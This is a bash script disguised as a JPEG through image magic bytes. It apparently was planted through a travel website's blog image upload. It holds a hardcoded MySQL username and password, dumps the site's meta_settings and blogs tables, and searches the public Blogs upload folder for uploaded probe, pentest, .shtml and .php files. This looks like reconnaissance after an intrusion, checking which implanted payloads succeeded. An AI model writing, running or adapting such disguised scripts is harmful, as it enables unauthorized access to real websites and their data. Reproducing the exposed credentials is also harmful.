ÿØÿàJFIF#!/bin/bash U=u838083294_lamaira P='jO=;SChLNWW6' D=u838083294_lamaira Q(){ /bin/mysql -h127.0.0.1 -u"$U" -p"$P" "$D" -N -B -A -r --connect-timeout=10 -e "$1" 2>&1; } echo C_STRT echo "=== META_COLUMNS ===" Q "select column_name from information_schema.columns where table_schema=database() and table_name='meta_settings' order by ordinal_position;" echo "=== META_ALL_ROWS ===" Q "select id, ifnull(page,''), ifnull(metatitle,''), ifnull(authorname,''), ifnull(shortdesc,''), ifnull(metadescription,''), ifnull(keywords,''), created_at, updated_at from meta_settings order by id;" echo "=== META_FALLBACK ===" Q "select id, ifnull(page,''), ifnull(metatitle,''), ifnull(metadescription,''), created_at, updated_at from meta_settings order by id;" echo "=== BLOGS_TOTAL ===" Q "select count(*) from blogs;" echo "=== BLOGS_GROUP_BY_NAME ===" Q "select blogname, count(*) c, min(id), max(id) from blogs group by blogname order by min(id);" echo "=== BLOGS_TEST_PATTERNS ===" Q "select id, blogname, blogthumbnail, created_at from blogs where blogname like '%PENTEST%' or blogname like '%PCI%' or blogthumbnail like '%probe%' or blogthumbnail like '%ssi%' or blogthumbnail like '%.shtml' or blogthumbnail like '%verif%' or blogthumbnail like '%trav%' or blogthumbnail like '%x1%' or blogthumbnail like '%x2%' or blogthumbnail like '%x3%' or blogthumbnail like '%x4%' or blogthumbnail like '%x5%' or blogthumbnail like '%test%' or blogthumbnail like '%z_%' or blogthumbnail like '%q_d%' or blogthumbnail like '%ev_%' or blogthumbnail like '%p_c_%' or blogthumbnail like '%sanity%' or blogthumbnail like '%ext%' order by id;" echo "=== BLOGS_ALL_ROWS ===" Q "select id, blogname, blogthumbnail from blogs order by id;" echo "=== DIR_NEW_FILES ===" cd /home/u838083294/domains/lamairatravel.com/public_html/public/adminAssets/images/Blogs || exit 1 find . -maxdepth 1 -type f \( -name '*.shtml' -o -name '*.shtm' -o -name '*.stm' -o -name '*probe*' -o -name '*verif*' -o -name '*pentest*' -o -name '*x[0-9]*' -o -name '*trav*' -o -name '*.php*' \) -printf '%T@ %s %p\n' 2>/dev/null | sort -n echo "=== DIR_ALL_COUNT ===" ls -1 | wc -l echo "=== DIR_SHTML_ONLY ===" ls -1 *.shtml 2>/dev/null echo "=== DIR_ALL_MODE_NEW ===" find . -maxdepth 1 -type f -printf '%T@ %s %p\n' 2>/dev/null | sort -n | tail -120 echo ENDOK